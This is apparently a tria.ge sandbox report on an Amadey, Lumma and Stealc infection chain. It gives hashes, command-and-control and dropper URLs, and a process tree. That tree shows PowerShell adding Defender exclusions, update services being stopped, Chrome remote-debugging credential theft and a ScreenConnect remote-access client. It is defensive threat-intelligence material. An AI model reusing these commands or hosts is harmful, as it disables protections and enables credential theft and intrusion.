Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    126s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14/03/2025, 22:10

General

  • Target

    random.exe

  • Size

    2.0MB

  • MD5

    321b34c0dae5853fda55f5a40b9892a4

  • SHA1

    b707aa6d2b554ac97904252f1264b1ace9655938

  • SHA256

    d682c945603bd8e08ca2016cc7482b118d6573253989738c34c837836c359175

  • SHA512

    2950c8989ab5d3ea5bce42c72c5c12ef9ab142192674d8dc7fe5225a971626bdfcb09aa82f27cd4a68c2ba17069ae9ae09aeb3539dea98a892c5f080dc56e16d

  • SSDEEP

    49152:JCKMe1ymi2WNftQe0/6Stxyva9MW7dUyvj8RqPhmWP:cKLlA30/iva9MgdwaV

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://absoulpushx.life/api

https://begindecafer.world/api

https://garagedrootz.top/api

https://9modelshiverd.icu/api

https://arisechairedd.shop/api

https://catterjur.run/api

https://orangemyther.live/api

https://fostinjec.today/api

https://sterpickced.digital/api

https://citydisco.bet/api

https://crosshairc.life/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://htardwarehu.icu/api

https://cjlaspcorne.icu/api

https://bugildbett.top/api

https://2weaponrywo.digital/api

https://qcitydisco.bet/api

https://weaponrywo.digital/api

Extracted

Family

stealc

Botnet

traff1

Attributes
  • url_path

    /gtthfbsb2h.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Healer family
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file 29 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Sets service image path in registry 2 TTPs 3 IoCs
  • Stops running service(s) 4 TTPs
  • Uses browser remote debugging 2 TTPs 13 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Checks BIOS information in registry 2 TTPs 24 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 27 IoCs
  • Identifies Wine through registry keys 2 TTPs 11 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 17 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 20 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 51 IoCs
  • Modifies registry class 37 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:428
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
      • Sets service image path in registry
      • Loads dropped DLL
      PID:476
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch
        2⤵
        • Drops file in Windows directory
        PID:612
        • C:\Windows\system32\DllHost.exe
          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
          3⤵
            PID:1108
          • C:\Windows\system32\wbem\wmiprvse.exe
            C:\Windows\system32\wbem\wmiprvse.exe
            3⤵
            • Drops file in System32 directory
            PID:340
          • C:\Windows\system32\wbem\wmiprvse.exe
            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
            3⤵
            • Checks BIOS information in registry
            • Checks processor information in registry
            PID:3020
          • C:\Windows\system32\DrvInst.exe
            DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "000000000000005C" "00000000000005E0"
            3⤵
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            PID:1200
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k RPCSS
          2⤵
            PID:688
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
            2⤵
            • Indicator Removal: Clear Windows Event Logs
            • Checks processor information in registry
            PID:764
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
            2⤵
              PID:820
              • C:\Windows\system32\Dwm.exe
                "C:\Windows\system32\Dwm.exe"
                3⤵
                  PID:1176
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs
                2⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Suspicious use of AdjustPrivilegeToken
                PID:860
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService
                2⤵
                  PID:972
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k NetworkService
                  2⤵
                  • Drops file in System32 directory
                  PID:280
                • C:\Windows\System32\spoolsv.exe
                  C:\Windows\System32\spoolsv.exe
                  2⤵
                    PID:304
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                    2⤵
                      PID:1072
                    • C:\Windows\system32\taskhost.exe
                      "taskhost.exe"
                      2⤵
                        PID:1112
                      • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                        "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                        2⤵
                          PID:1544
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                          2⤵
                            PID:2496
                          • C:\Windows\system32\sppsvc.exe
                            C:\Windows\system32\sppsvc.exe
                            2⤵
                              PID:936
                            • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                              2⤵
                                PID:2428
                              • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                2⤵
                                  PID:1388
                                • C:\ProgramData\WindowsServices\WindowsAutHost
                                  C:\ProgramData\WindowsServices\WindowsAutHost
                                  2⤵
                                  • Drops file in Drivers directory
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious use of SetThreadContext
                                  PID:2276
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2040
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                    3⤵
                                      PID:2880
                                      • C:\Windows\system32\wusa.exe
                                        wusa /uninstall /kb:890830 /quiet /norestart
                                        4⤵
                                        • Drops file in Windows directory
                                        PID:1672
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop UsoSvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:2852
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:2128
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop wuauserv
                                      3⤵
                                      • Launches sc.exe
                                      PID:1784
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop bits
                                      3⤵
                                      • Launches sc.exe
                                      PID:1616
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop dosvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:920
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1320
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2380
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2908
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                      3⤵
                                      • Power Settings
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2088
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe
                                      3⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:488
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe
                                      3⤵
                                        PID:1980
                                      • C:\Windows\system32\dialer.exe
                                        dialer.exe
                                        3⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2224
                                    • C:\Windows\system32\msiexec.exe
                                      C:\Windows\system32\msiexec.exe /V
                                      2⤵
                                      • Enumerates connected drives
                                      • Boot or Logon Autostart Execution: Authentication Package
                                      • Drops file in Program Files directory
                                      • Drops file in Windows directory
                                      • Modifies data under HKEY_USERS
                                      • Modifies registry class
                                      PID:2980
                                      • C:\Windows\syswow64\MsiExec.exe
                                        C:\Windows\syswow64\MsiExec.exe -Embedding DB9676743891158920A14EC0990FD7AA C
                                        3⤵
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        PID:2448
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4C2D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259542170 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                          4⤵
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          PID:1672
                                      • C:\Windows\syswow64\MsiExec.exe
                                        C:\Windows\syswow64\MsiExec.exe -Embedding 85F5D9B2175452C115BB2FFC760363D0
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2672
                                      • C:\Windows\syswow64\MsiExec.exe
                                        C:\Windows\syswow64\MsiExec.exe -Embedding 403E53A7273C6EFA27D90F5FA00316DC M Global\MSI0000
                                        3⤵
                                        • Drops file in Windows directory
                                        • System Location Discovery: System Language Discovery
                                        PID:2880
                                    • C:\Windows\system32\vssvc.exe
                                      C:\Windows\system32\vssvc.exe
                                      2⤵
                                        PID:2444
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k swprv
                                        2⤵
                                          PID:2240
                                        • C:\Program Files (x86)\ScreenConnect Client (f01947c788fc5afe)\ScreenConnect.ClientService.exe
                                          "C:\Program Files (x86)\ScreenConnect Client (f01947c788fc5afe)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=nbsec.innocreed.com&p=8041&s=603f6d8c-e9f4-4208-ba68-4930101353d8&k=BgIAAACkAABSU0ExAAgAAAEAAQDFs1kVL8bfzmRhsQrEZQSB6Mg0jllFwmZqou4Pvi9wI8qFz%2fh2%2fem9cR6FHeYUxD9jG%2fsxDFs66EJxkLi7YB87tagpfI5CyssAnhTNF2TMArTHifYU0Kj8erGcVfXQJgrNGjAs38F4MaHlprzNxrsSLTfRri2oJMUFxD9xtnkiN3j%2f8hOLwN2416R%2fVWOiOID9z90iFYDukpx5F4fLhwLOuaUsarUGqQeCoslVBaBeWmUxGtVhEiP7XGywuI0tG4lp%2bE%2b4i7tUttz1YALsqJq8L9UYEw5WyYn2z4yhGuyeHsg0jR83ntRaoqiV5SqdT5RzICIJdPttGDWJ0t7wMdqy&t=test1"
                                          2⤵
                                          • Sets service image path in registry
                                          • Executes dropped EXE
                                          • Drops file in System32 directory
                                          • System Location Discovery: System Language Discovery
                                          • Modifies data under HKEY_USERS
                                          PID:2488
                                          • C:\Program Files (x86)\ScreenConnect Client (f01947c788fc5afe)\ScreenConnect.WindowsClient.exe
                                            "C:\Program Files (x86)\ScreenConnect Client (f01947c788fc5afe)\ScreenConnect.WindowsClient.exe" "RunRole" "9d397193-5e0c-455d-8bdd-f0ce76bc1640" "User"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:2172
                                          • C:\Program Files (x86)\ScreenConnect Client (f01947c788fc5afe)\ScreenConnect.WindowsClient.exe
                                            "C:\Program Files (x86)\ScreenConnect Client (f01947c788fc5afe)\ScreenConnect.WindowsClient.exe" "RunRole" "f206b1f3-e0e5-4601-a8b3-9884d608b5a8" "System"
                                            3⤵
                                              PID:1516
                                          • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                            "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                            2⤵
                                              PID:3184
                                          • C:\Windows\system32\lsass.exe
                                            C:\Windows\system32\lsass.exe
                                            1⤵
                                              PID:484
                                            • C:\Windows\system32\lsm.exe
                                              C:\Windows\system32\lsm.exe
                                              1⤵
                                                PID:492
                                              • C:\Windows\Explorer.EXE
                                                C:\Windows\Explorer.EXE
                                                1⤵
                                                • Loads dropped DLL
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of FindShellTrayWindow
                                                PID:1208
                                                • C:\Users\Admin\AppData\Local\Temp\random.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\random.exe"
                                                  2⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Identifies Wine through registry keys
                                                  • Loads dropped DLL
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Drops file in Windows directory
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of FindShellTrayWindow
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:1964
                                                  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
                                                    3⤵
                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                    • Downloads MZ/PE file
                                                    • Checks BIOS information in registry
                                                    • Executes dropped EXE
                                                    • Identifies Wine through registry keys
                                                    • Loads dropped DLL
                                                    • Adds Run key to start application
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:2728
                                                    • C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe"
                                                      4⤵
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Identifies Wine through registry keys
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:1528
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1528 -s 1256
                                                        5⤵
                                                        • Loads dropped DLL
                                                        • Program crash
                                                        PID:956
                                                    • C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe"
                                                      4⤵
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Identifies Wine through registry keys
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • System Location Discovery: System Language Discovery
                                                      • Modifies system certificate store
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:2604
                                                    • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      • Suspicious use of SetThreadContext
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:628
                                                      • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:560
                                                    • C:\Users\Admin\AppData\Local\Temp\10204230101\9JFiKVm.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10204230101\9JFiKVm.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:1500
                                                      • C:\Windows\system32\WerFault.exe
                                                        C:\Windows\system32\WerFault.exe -u -p 1500 -s 36
                                                        5⤵
                                                        • Loads dropped DLL
                                                        PID:2804
                                                    • C:\Users\Admin\AppData\Local\Temp\10208390101\7KVoLQr.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10208390101\7KVoLQr.exe"
                                                      4⤵
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Downloads MZ/PE file
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Identifies Wine through registry keys
                                                      • Loads dropped DLL
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • System Location Discovery: System Language Discovery
                                                      • Checks processor information in registry
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2152
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                        5⤵
                                                        • Uses browser remote debugging
                                                        • Enumerates system info in registry
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:1648
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6df9758,0x7fef6df9768,0x7fef6df9778
                                                          6⤵
                                                            PID:1480
                                                          • C:\Windows\system32\ctfmon.exe
                                                            ctfmon.exe
                                                            6⤵
                                                              PID:2364
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1096 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:2
                                                              6⤵
                                                                PID:1092
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:8
                                                                6⤵
                                                                  PID:2388
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:8
                                                                  6⤵
                                                                    PID:2280
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2072 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:1
                                                                    6⤵
                                                                    • Uses browser remote debugging
                                                                    PID:1780
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2216 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:1
                                                                    6⤵
                                                                    • Uses browser remote debugging
                                                                    PID:1356
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2224 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:1
                                                                    6⤵
                                                                    • Uses browser remote debugging
                                                                    PID:2240
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=3184 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:2
                                                                    6⤵
                                                                      PID:2868
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4304 --field-trial-handle=1360,i,3112959310182136923,16042495760860012885,131072 /prefetch:8
                                                                      6⤵
                                                                        PID:1816
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                      5⤵
                                                                      • Uses browser remote debugging
                                                                      • Enumerates system info in registry
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      PID:2180
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6799758,0x7fef6799768,0x7fef6799778
                                                                        6⤵
                                                                          PID:2860
                                                                        • C:\Windows\system32\ctfmon.exe
                                                                          ctfmon.exe
                                                                          6⤵
                                                                            PID:2004
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1204 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:2
                                                                            6⤵
                                                                              PID:2376
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1564 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:8
                                                                              6⤵
                                                                              • Blocklisted process makes network request
                                                                              PID:1560
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
